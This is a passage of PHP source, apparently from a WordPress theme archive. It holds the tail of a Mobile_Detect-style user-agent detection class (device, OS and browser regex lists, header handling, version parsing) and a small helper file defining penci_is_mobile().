        'ViewsonicTablet'   => 'ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a',
        // https://www.verizonwireless.com/tablets/verizon/
        'VerizonTablet' => 'QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1',
        // http://www.odys.de/web/internet-tablet_en.html
        'OdysTablet'        => 'LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10',
        // http://www.captiva-power.de/products.html#tablets-en
        'CaptivaTablet'     => 'CAPTIVA PAD',
        // IconBIT - http://www.iconbit.com/products/tablets/
        'IconbitTablet' => 'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S',
        // http://www.teclast.com/topic.php?channelID=70&topicID=140&pid=63
        'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98 Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98 3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d 3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18 3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h 3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi',
        // Onda - http://www.onda-tablet.com/buy-android-onda.html?dir=desc&limit=all&order=price
        'OndaTablet' => '\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+|V10 \b4G\b',
        'JaytechTablet'     => 'TPC-PA762',
        'BlaupunktTablet'   => 'Endeavour 800NG|Endeavour 1010',
        // http://www.digma.ru/support/download/
        // @todo: Ebooks also (if requested)
        'DigmaTablet' => '\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b',
        // http://www.evolioshop.com/ro/tablete-pc.html
        // http://www.evolio.ro/support/downloads_static.html?cat=2
        // @todo: Research some more
        'EvolioTablet' => 'ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b',
        // @todo http://www.lavamobiles.com/tablets-data-cards
        'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b',
        // http://www.breezetablet.com/
        'AocTablet' => 'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712',
        // http://www.mpmaneurope.com/en/products/internet-tablets-14/android-tablets-14/
        'MpmanTablet' => 'MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010',
        // https://www.celkonmobiles.com/?_a=categoryphones&sid=2
        'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b',
        // http://www.wolderelectronics.com/productos/manuales-y-guias-rapidas/categoria-2-miTab
        'WolderTablet' => 'miTab \b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\b',
        'MediacomTablet' => 'M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA',
        // http://www.mi.com/en
        'MiTablet' => '\bMI PAD\b|\bHM NOTE 1W\b',
        // http://www.nbru.cn/index.html
        'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter One',
        // http://navroad.com/products/produkty/tablety/
        // http://navroad.com/products/produkty/tablety/
        'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI',
        // http://leader-online.com/new_site/product-category/tablets/
        // http://www.leader-online.net.au/List/Tablet
        'LeaderTablet' => 'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100',
        // http://www.datawind.com/ubislate/
        'UbislateTablet' => 'UbiSlate[\s]?7C',
        // http://www.pocketbook-int.com/ru/support
        'PocketBookTablet' => 'Pocketbook',
        // http://www.kocaso.com/product_tablet.html
        'KocasoTablet' => '\b(TB-1207)\b',
        // http://global.hisense.com/product/asia/tablet/Sero7/201412/t20141215_91832.htm
        'HisenseTablet' => '\b(F5281|E2371)\b',
        // http://www.tesco.com/direct/hudl/
        'Hudl'              => 'Hudl HT7S3|Hudl 2',
        // http://www.telstra.com.au/home-phone/thub-2/
        'TelstraTablet'     => 'T-Hub2',
        'GenericTablet'     => 'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc 10HD|\bTP750\b|\bQTAQZ3\b|WVT101|TM1088|KT107'
    ];

    /**
     * List of mobile Operating Systems.
     *
     * @var array
     */
    protected static array $operatingSystems = [
        'AndroidOS'         => 'Android',
        'BlackBerryOS'      => 'blackberry|\bBB10\b|rim tablet os',
        'PalmOS'            => 'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
        'SymbianOS'         => 'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
        // @reference: http://en.wikipedia.org/wiki/Windows_Mobile
        'WindowsMobileOS'   => 'Windows CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone [0-9.]+|WCE;',
        // @reference: http://en.wikipedia.org/wiki/Windows_Phone
        // http://wifeng.cn/?r=blog&a=view&id=106
        // http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx
        // http://msdn.microsoft.com/library/ms537503.aspx
        // https://msdn.microsoft.com/en-us/library/hh869301(v=vs.85).aspx
        'WindowsPhoneOS'   => 'Windows Phone 10.0|Windows Phone 8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23]; ARM;',
        'iOS'               => '\biPhone.*Mobile|\biPod|\biPad|AppleCoreMedia',
        // https://en.wikipedia.org/wiki/IPadOS
        'iPadOS' => 'CPU OS 13',
        // @reference https://en.m.wikipedia.org/wiki/Sailfish_OS
        // https://sailfishos.org/
        'SailfishOS'        => 'Sailfish',
        // http://en.wikipedia.org/wiki/MeeGo
        // @todo: research MeeGo in UAs
        'MeeGoOS'           => 'MeeGo',
        // http://en.wikipedia.org/wiki/Maemo
        // @todo: research Maemo in UAs
        'MaemoOS'           => 'Maemo',
        'JavaOS'            => 'J2ME/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135
        'webOS'             => 'webOS|hpwOS',
        'badaOS'            => '\bBada\b',
        'BREWOS'            => 'BREW',
    ];

    /**
     * List of mobile User Agents.
     *
     * IMPORTANT: This is a list of only mobile browsers.
     * Mobile Detect 2.x supports only mobile browsers,
     * it was never designed to detect all browsers.
     * The change will come in 2017 in the 3.x release for PHP7.
     *
     * @var array
     */
    protected static array $browsers = [
        //'Vivaldi'         => 'Vivaldi',
        // @reference: https://developers.google.com/chrome/mobile/docs/user-agent
        'Chrome'          => '\bCrMo\b|CriOS.*Mobile|Android.*Chrome/[.0-9]* Mobile',
        'Dolfin'          => '\bDolfin\b',
        'Opera'           => 'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+',
        'Skyfire'         => 'Skyfire',
        // Added "Edge on iOS" https://github.com/serbanghita/Mobile-Detect/issues/764
        'Edge'             => 'EdgiOS.*Mobile|Mobile Safari/[.0-9]* Edge',
        'IE'              => 'IEMobile|MSIEMobile', // |Trident/[.0-9]+
        'Firefox'         => 'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS.*Mobile',
        'Bolt'            => 'bolt',
        'TeaShark'        => 'teashark',
        'Blazer'          => 'Blazer',
        // @reference: http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3
        // Excluded "Edge on iOS" https://github.com/serbanghita/Mobile-Detect/issues/764
        'Safari'          => 'Version((?!\bEdgiOS\b).)*Mobile.*Safari|Safari.*Mobile|MobileSafari',
        // http://en.wikipedia.org/wiki/Midori_(web_browser)
        //'Midori'          => 'midori',
        //'Tizen'           => 'Tizen',
        'WeChat'          => '\bMicroMessenger\b',
        'UCBrowser'       => 'UC.*Browser|UCWEB',
        'baiduboxapp'     => 'baiduboxapp',
        'baidubrowser'    => 'baidubrowser',
        // https://github.com/serbanghita/Mobile-Detect/issues/7
        'DiigoBrowser'    => 'DiigoBrowser',
        // http://www.puffinbrowser.com/index.php
        // https://github.com/serbanghita/Mobile-Detect/issues/752
        // 'Puffin'            => 'Puffin',
        // http://mercury-browser.com/index.html
        'Mercury'          => '\bMercury\b',
        // http://en.wikipedia.org/wiki/Obigo_Browser
        'ObigoBrowser' => 'Obigo',
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront' => 'NF-Browser',
        // @reference: http://en.wikipedia.org/wiki/Minimo
        // http://en.wikipedia.org/wiki/Vision_Mobile_Browser
        'GenericBrowser'  => 'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
        // @reference: https://en.wikipedia.org/wiki/Pale_Moon_(web_browser)
        'PaleMoon'        => 'Android.*PaleMoon|Mobile.*PaleMoon',
    ];

    /**
     * All possible HTTP headers that represent the
     * User-Agent string.
     *
     * @var array
     */
    protected static array $uaHttpHeaders = [
        // The default User-Agent string.
        'HTTP_USER_AGENT',
        // Header can occur on devices using Opera Mini.
        'HTTP_X_OPERAMINI_PHONE_UA',
        // Vodafone specific header: http://www.seoprinciple.com/mobile-web-community-still-angry-at-vodafone/24/
        'HTTP_X_DEVICE_USER_AGENT',
        'HTTP_X_ORIGINAL_USER_AGENT',
        'HTTP_X_SKYFIRE_PHONE',
        'HTTP_X_BOLT_PHONE_UA',
        'HTTP_DEVICE_STOCK_UA',
        'HTTP_X_UCBROWSER_DEVICE_UA'
    ];

    /**
     * The individual segments that could exist in a User-Agent string. VER refers to the regular
     * expression defined in the constant self::VER.
     *
     * @var array
     */
    protected static array $properties = [

        // Build
        'Mobile'        => 'Mobile/[VER]',
        'Build'         => 'Build/[VER]',
        'Version'       => 'Version/[VER]',
        'VendorID'      => 'VendorID/[VER]',

        // Devices
        'iPad'          => 'iPad.*CPU[a-z ]+[VER]',
        'iPhone'        => 'iPhone.*CPU[a-z ]+[VER]',
        'iPod'          => 'iPod.*CPU[a-z ]+[VER]',
        //'BlackBerry'    => array('BlackBerry[VER]', 'BlackBerry [VER];'),
        'Kindle'        => 'Kindle/[VER]',

        // Browser
        'Chrome'        => ['Chrome/[VER]', 'CriOS/[VER]', 'CrMo/[VER]'],
        'Coast'         => ['Coast/[VER]'],
        'Dolfin'        => 'Dolfin/[VER]',
        // @reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox
        'Firefox'       => ['Firefox/[VER]', 'FxiOS/[VER]'],
        'Fennec'        => 'Fennec/[VER]',
        // http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx
        // https://msdn.microsoft.com/en-us/library/ie/hh869301(v=vs.85).aspx
        'Edge' => 'Edge/[VER]',
        'IE'      => ['IEMobile/[VER];', 'IEMobile [VER]', 'MSIE [VER];', 'Trident/[0-9.]+;.*rv:[VER]'],
        // http://en.wikipedia.org/wiki/NetFront
        'NetFront'      => 'NetFront/[VER]',
        'NokiaBrowser'  => 'NokiaBrowser/[VER]',
        'Opera'         => [' OPR/[VER]', 'Opera Mini/[VER]', 'Version/[VER]'],
        'Opera Mini'    => 'Opera Mini/[VER]',
        'Opera Mobi'    => 'Version/[VER]',
        'UCBrowser'    => ['UCWEB[VER]', 'UC.*Browser/[VER]'],
        'MQQBrowser'    => 'MQQBrowser/[VER]',
        'MicroMessenger' => 'MicroMessenger/[VER]',
        'baiduboxapp'   => 'baiduboxapp/[VER]',
        'baidubrowser'  => 'baidubrowser/[VER]',
        'SamsungBrowser' => 'SamsungBrowser/[VER]',
        'Iron'          => 'Iron/[VER]',
        // @note: Safari 7534.48.3 is actually Version 5.1.
        // @note: On BlackBerry the Version is overwriten by the OS.
        'Safari'        => ['Version/[VER]', 'Safari/[VER]'],
        'Skyfire'       => 'Skyfire/[VER]',
        'Tizen'         => 'Tizen/[VER]',
        'Webkit'        => 'webkit[ /][VER]',
        'PaleMoon'         => 'PaleMoon/[VER]',
        'SailfishBrowser'  => 'SailfishBrowser/[VER]',

        // Engine
        'Gecko'         => 'Gecko/[VER]',
        'Trident'       => 'Trident/[VER]',
        'Presto'        => 'Presto/[VER]',
        'Goanna'           => 'Goanna/[VER]',

        // OS
        'iOS'              => ' \bi?OS\b [VER][ ;]{1}',
        'Android'          => 'Android [VER]',
        'Sailfish'         => 'Sailfish [VER]',
        'BlackBerry'       => ['BlackBerry[\w]+/[VER]', 'BlackBerry.*Version/[VER]', 'Version/[VER]'],
        'BREW'             => 'BREW [VER]',
        'Java'             => 'Java/[VER]',
        // @reference: http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx
        // @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases
        'Windows Phone OS' => ['Windows Phone OS [VER]', 'Windows Phone [VER]'],
        'Windows Phone'    => 'Windows Phone [VER]',
        'Windows CE'       => 'Windows CE/[VER]',
        // http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd
        'Windows NT'       => 'Windows NT [VER]',
        'Symbian'          => ['SymbianOS/[VER]', 'Symbian/[VER]'],
        'webOS'            => ['webOS/[VER]', 'hpwOS/[VER];'],
    ];

    /**
     * Construct an instance of this class.
     *
     * @param array|null $headers Specify the headers as injection. Should be PHP _SERVER flavored.
     *                            If left empty, will use the global _SERVER['HTTP_*'] vars instead.
     * @param string|null $userAgent Inject the User-Agent header. If null, will use HTTP_USER_AGENT
     *                               from the $headers array instead.
     */
    public function __construct(array $headers = null, string $userAgent = null)
    {
        $this->setHttpHeaders($headers);
        $this->setUserAgent($userAgent);
    }

    /**
     * Get the current script version.
     * This is useful for the demo.php file,
     * so people can check on what version they are testing
     * for mobile devices.
     *
     * @return string The version number in semantic version format.
     */
    public static function getScriptVersion(): string
    {
        return self::VERSION;
    }

    /**
     * Set the HTTP Headers. Must be PHP-flavored. This method will reset existing headers.
     *
     * @param array|null $httpHeaders The headers to set. If null, then using PHP's _SERVER to extract
     *                           the headers. The default null is left for backwards compatibility.
     */
    public function setHttpHeaders(array $httpHeaders = null)
    {
        // use global _SERVER if $httpHeaders aren't defined
        if (!is_array($httpHeaders) || !count($httpHeaders)) {
            $httpHeaders = $_SERVER;
        }

        // clear existing headers
        $this->httpHeaders = array();

        // Only save HTTP headers. In PHP land, that means only _SERVER vars that
        // start with HTTP_.
        foreach ($httpHeaders as $key => $value) {
            if (substr($key, 0, 5) === 'HTTP_') {
                $this->httpHeaders[$key] = $value;
            }
        }

        // In case we're dealing with CloudFront, we need to know.
        $this->setCfHeaders($httpHeaders);
    }

    /**
     * Retrieves the HTTP headers.
     *
     * @return array
     */
    public function getHttpHeaders(): array
    {
        return $this->httpHeaders;
    }

    /**
     * Retrieves a particular header. If it doesn't exist, no exception/error is caused.
     * Simply null is returned.
     *
     * @param string $header The name of the header to retrieve. Can be HTTP compliant such as
     *                       "User-Agent" or "X-Device-User-Agent" or can be php-esque with the
     *                       all-caps, HTTP_ prefixed, underscore separated awesomeness.
     *
     * @return string|null The value of the header.
     */
    public function getHttpHeader(string $header): ?string
    {
        // are we using PHP-flavored headers?
        if (strpos($header, '_') === false) {
            $header = str_replace('-', '_', $header);
            $header = strtoupper($header);
        }

        // test the alternate, too
        $altHeader = 'HTTP_' . $header;

        //Test both the regular and the HTTP_ prefix
        if (isset($this->httpHeaders[$header])) {
            return $this->httpHeaders[$header];
        } elseif (isset($this->httpHeaders[$altHeader])) {
            return $this->httpHeaders[$altHeader];
        }

        return null;
    }

    public function getMobileHeaders(): array
    {
        return static::$mobileHeaders;
    }

    /**
     * Get all possible HTTP headers that
     * can contain the User-Agent string.
     *
     * @return array List of HTTP headers.
     */
    public function getUaHttpHeaders(): array
    {
        return static::$uaHttpHeaders;
    }


    /**
     * Set CloudFront headers
     * http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/header-caching.html#header-caching-web-device
     *
     * @param array|null $cfHeaders List of HTTP headers
     *
     * @return bool If there were CloudFront headers to be set
     */
    public function setCfHeaders(array $cfHeaders = null): bool
    {
        // use global _SERVER if $cfHeaders aren't defined
        if (!is_array($cfHeaders) || !count($cfHeaders)) {
            $cfHeaders = $_SERVER;
        }

        // clear existing headers
        $this->cloudfrontHeaders = array();

        // Only save CLOUDFRONT headers. In PHP land, that means only _SERVER vars that
        // start with cloudfront-.
        $response = false;
        foreach ($cfHeaders as $key => $value) {
            if (substr(strtolower($key), 0, 16) === 'http_cloudfront_') {
                $this->cloudfrontHeaders[strtoupper($key)] = $value;
                $response = true;
            }
        }

        return $response;
    }

    /**
     * Retrieves the cloudfront headers.
     *
     * @return array
     */
    public function getCfHeaders(): array
    {
        return $this->cloudfrontHeaders;
    }

    /**
     * @param string $userAgent
     * @return string
     */
    private function prepareUserAgent(string $userAgent): string
    {
        $userAgent = trim($userAgent);
        return substr($userAgent, 0, 500);
    }

    /**
     * Set the User-Agent to be used.
     *
     * @param string|null $userAgent The user agent string to set.
     *
     * @return string|null
     */
    public function setUserAgent(string $userAgent = null): ?string
    {
        // Invalidate cache due to #375
        $this->cache = array();

        if (false === empty($userAgent)) {
            return $this->userAgent = $this->prepareUserAgent($userAgent);
        } else {
            $this->userAgent = null;
            foreach ($this->getUaHttpHeaders() as $altHeader) {
                // @todo: should use getHttpHeader(), but it would be slow. (Serban)
                if (false === empty($this->httpHeaders[$altHeader])) {
                    $this->userAgent .= $this->httpHeaders[$altHeader] . " ";
                }
            }

            if (!empty($this->userAgent)) {
                return $this->userAgent = $this->prepareUserAgent($this->userAgent);
            }
        }

        if (count($this->getCfHeaders()) > 0) {
            return $this->userAgent = 'Amazon CloudFront';
        }
        return $this->userAgent = null;
    }

    /**
     * Retrieve the User-Agent.
     *
     * @return string|null The user agent if it's set.
     */
    public function getUserAgent(): ?string
    {
        return $this->userAgent;
    }

    public function getMatchingRegex(): ?string
    {
        return $this->matchingRegex;
    }

    public function getMatchesArray(): ?array
    {
        return $this->matchesArray;
    }

    /**
     * Retrieve the list of known phone devices.
     *
     * @return array List of phone devices.
     */
    public static function getPhoneDevices(): array
    {
        return static::$phoneDevices;
    }

    /**
     * Retrieve the list of known tablet devices.
     *
     * @return array List of tablet devices.
     */
    public static function getTabletDevices(): array
    {
        return static::$tabletDevices;
    }

    /**
     * Alias for getBrowsers() method.
     *
     * @return array List of user agents.
     */
    public static function getUserAgents(): array
    {
        return static::getBrowsers();
    }

    /**
     * Retrieve the list of known browsers. Specifically, the user agents.
     *
     * @return array List of browsers / user agents.
     */
    public static function getBrowsers(): array
    {
        return static::$browsers;
    }

    /**
     * Method gets the mobile detection rules. This method is used for the magic methods $detect->is*().
     * Retrieve the current set of rules.
     *
     * @return array
     */
    public function getRules(): array
    {
        static $rules;

        if (!$rules) {
            $rules = array_merge(
                static::$phoneDevices,
                static::$tabletDevices,
                static::$operatingSystems,
                static::$browsers
            );
        }

        return $rules;
    }

    /**
     * Retrieve the list of mobile operating systems.
     *
     * @return array The list of mobile operating systems.
     */
    public static function getOperatingSystems(): array
    {
        return static::$operatingSystems;
    }

    /**
     * Check the HTTP headers for signs of mobile.
     * This is the fastest mobile check possible; it's used
     * inside isMobile() method.
     *
     * @return bool
     */
    public function checkHttpHeadersForMobile(): bool
    {

        foreach ($this->getMobileHeaders() as $mobileHeader => $matchType) {
            if (isset($this->httpHeaders[$mobileHeader])) {
                if (isset($matchType['matches']) && is_array($matchType['matches'])) {
                    foreach ($matchType['matches'] as $_match) {
                        if (strpos($this->httpHeaders[$mobileHeader], $_match) !== false) {
                            return true;
                        }
                    }

                    return false;
                } else {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Magic overloading method.
     *
     * @method boolean is[...]()
     * @param string $name
     * @param array $arguments
     * @return bool
     * @throws BadMethodCallException when the method doesn't exist and doesn't start with 'is'
     */
    public function __call(string $name, array $arguments)
    {
        // make sure the name starts with 'is', otherwise
        if (substr($name, 0, 2) !== 'is') {
            throw new BadMethodCallException("No such method exists: $name");
        }

        $key = substr($name, 2);

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Find a detection rule that matches the current User-agent.
     *
     * @param string|null $userAgent deprecated
     * @return bool
     */
    protected function matchDetectionRulesAgainstUA(string $userAgent = null): bool
    {
        // Begin general search.
        foreach ($this->getRules() as $_regex) {
            if (empty($_regex)) {
                continue;
            }

            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Search for a certain key in the rules array.
     * If the key is found then try to match the corresponding
     * regex against the User-Agent.
     *
     * @param string $key
     *
     * @return bool
     */
    protected function matchUAAgainstKey(string $key): bool
    {
        // Make the keys lowercase, so we can match: isIphone(), isiPhone(), isiphone(), etc.
        $key = strtolower($key);
        if (false === isset($this->cache[$key])) {
            // change the keys to lower case
            $_rules = array_change_key_case($this->getRules());

            if (false === empty($_rules[$key])) {
                $this->cache[$key] = $this->match($_rules[$key]);
            }

            if (false === isset($this->cache[$key])) {
                $this->cache[$key] = false;
            }
        }

        return $this->cache[$key];
    }

    /**
     * Check if the device is mobile.
     * Returns true if any type of mobile device detected, including special ones
     * @param string|null $userAgent  deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     */
    public function isMobile(string $userAgent = null, array $httpHeaders = null): bool
    {

        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_MOBILE_VIEWER', $cfHeaders) &&
                $cfHeaders['HTTP_CLOUDFRONT_IS_MOBILE_VIEWER'] === 'true'
            ) {
                return true;
            }
        }

        if ($this->checkHttpHeadersForMobile()) {
            return true;
        } else {
            return $this->matchDetectionRulesAgainstUA();
        }
    }

    /**
     * Check if the device is a tablet.
     * Return true if any type of tablet device is detected.
     *
     * @param string|null $userAgent   deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     */
    public function isTablet(string $userAgent = null, array $httpHeaders = null): bool
    {
        // Check specifically for cloudfront headers if the useragent === 'Amazon CloudFront'
        if ($this->getUserAgent() === 'Amazon CloudFront') {
            $cfHeaders = $this->getCfHeaders();
            if (array_key_exists('HTTP_CLOUDFRONT_IS_TABLET_VIEWER', $cfHeaders) &&
                $cfHeaders['HTTP_CLOUDFRONT_IS_TABLET_VIEWER'] === 'true'
            ) {
                return true;
            }
        }

        foreach (static::$tabletDevices as $_regex) {
            if ($this->match($_regex, $userAgent)) {
                return true;
            }
        }

        return false;
    }

    /**
     * This method checks for a certain property in the
     * userAgent.
     * @param  string        $key
     * @param string|null $userAgent   deprecated
     * @param array|null $httpHeaders deprecated
     * @return bool
     *
     * @todo: The httpHeaders part is not yet used.
     */
    public function is(string $key, string $userAgent = null, array $httpHeaders = null): bool
    {
        // Set the UA and HTTP headers only if needed (eg. batch mode).
        if ($httpHeaders) {
            $this->setHttpHeaders($httpHeaders);
        }

        if ($userAgent) {
            $this->setUserAgent($userAgent);
        }

        return $this->matchUAAgainstKey($key);
    }

    /**
     * Some detection rules are relative (not standard),
     * because of the diversity of devices, vendors and
     * their conventions in representing the User-Agent or
     * the HTTP headers.
     *
     * This method will be used to check custom regexes against
     * the User-Agent string.
     *
     * @param string $regex
     * @param string|null $userAgent
     * @return bool
     *
     * @todo: search in the HTTP headers too.
     */
    public function match(string $regex, string $userAgent = null): bool
    {
        if (!\is_string($userAgent) && !\is_string($this->userAgent)) {
            return false;
        }

        $match = (bool) preg_match(
            sprintf('#%s#is', $regex),
            (false === empty($userAgent) ? $userAgent : $this->userAgent),
            $matches
        );
        // If positive match is found, store the results for debug.
        if ($match) {
            $this->matchingRegex = $regex;
            $this->matchesArray = $matches;
        }

        return $match;
    }

    /**
     * Get the properties array.
     *
     * @return array
     */
    public static function getProperties(): array
    {
        return static::$properties;
    }

    /**
     * Prepare the version number.
     *
     * @param string $ver The string version, like "2.6.21.2152";
     *
     * @return float
     *
     * @todo Remove the error suppression from str_replace() call.
     */
    public function prepareVersionNo(string $ver): float
    {
        $ver = str_replace(array('_', ' ', '/'), '.', $ver);
        $arrVer = explode('.', $ver, 2);

        if (isset($arrVer[1])) {
            $arrVer[1] = @str_replace('.', '', $arrVer[1]); // @todo: treat strings versions.
        }

        return (float) implode('.', $arrVer);
    }

    /**
     * Check the version of the given property in the User-Agent.
     * Will return a float number. (e.g. 2_0 will return 2.0, 4.3.1 will return 4.31)
     *
     * @param string $propertyName The name of the property. See self::getProperties() array
     *                             keys for all possible properties.
     * @param string $type         Either self::VERSION_TYPE_STRING to get a string value or
     *                             self::VERSION_TYPE_FLOAT indicating a float value. This parameter
     *                             is optional and defaults to self::VERSION_TYPE_STRING. Passing an
     *                             invalid parameter will default to the type as well.
     *
     * @return string|float|false The version of the property we are trying to extract.
     */
    public function version(string $propertyName, string $type = self::VERSION_TYPE_STRING)
    {
        if (empty($propertyName)) {
            return false;
        }

        if (!\is_string($this->userAgent)) {
            return false;
        }

        // set the $type to the default if we don't recognize the type
        if ($type !== self::VERSION_TYPE_STRING && $type !== self::VERSION_TYPE_FLOAT) {
            $type = self::VERSION_TYPE_STRING;
        }

        $properties = self::getProperties();

        // Check if the property exists in the properties array.
        if (true === isset($properties[$propertyName])) {
            // Prepare the pattern to be matched.
            // Make sure we always deal with an array (string is converted).
            $properties[$propertyName] = (array) $properties[$propertyName];

            foreach ($properties[$propertyName] as $propertyMatchString) {
                $propertyPattern = str_replace('[VER]', self::VER, $propertyMatchString);

                // Identify and extract the version.
                preg_match(sprintf('#%s#is', $propertyPattern), $this->userAgent, $match);

                if (false === empty($match[1])) {
                    return ($type == self::VERSION_TYPE_FLOAT ? $this->prepareVersionNo($match[1]) : $match[1]);
                }
            }
        }

        return false;
    }
}PK     N\_      inc/detect_mobile.phpnu [        <?php
if ( ! class_exists( '\Detection\Penci_Mobile_Detect' ) ){
	require_once ( 'Mobile_Detect.php' );
}
if ( ! function_exists( 'penci_is_mobile' ) ) {
	function penci_is_mobile(){
		if ( ! wp_is_mobile() ) {
			return false;
		}
		$return = false;
		if ( class_exists( '\Detection\Penci_Mobile_Detect' ) ){
			$detect = new \Detection\Penci_Mobile_Detect;
			
			if ( $detect->isMobile() && !$detect->isTablet() ) {
				$return = true;
			}
		}
		
		return $return;
	}
}

